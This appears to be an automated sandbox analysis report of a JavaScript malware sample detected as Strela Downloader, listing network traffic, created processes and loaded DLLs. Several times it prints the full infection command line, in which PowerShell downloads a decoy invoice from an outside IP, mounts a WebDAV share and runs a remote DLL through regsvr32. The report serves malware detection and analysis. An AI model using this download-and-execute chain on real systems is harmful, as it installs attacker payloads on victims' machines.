Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2050296065.00000189B4B80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2052084819.00000189B4B8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2050222875.00000189B4B88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2099589475.000002283DAAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2099589475.000002283DACB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2099589475.000002283DA78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2099589475.000002283DA78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tm.
Source: svchost.exe, 00000009.00000002.3334478267.000001A13D600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2100608454.000001A13D390000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3160, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1283220404157902514.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/61@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6532:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxjzggpf.h0t.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1608,i,6607598967053429651,498636849261880243,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1608,i,6607598967053429651,498636849261880243,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
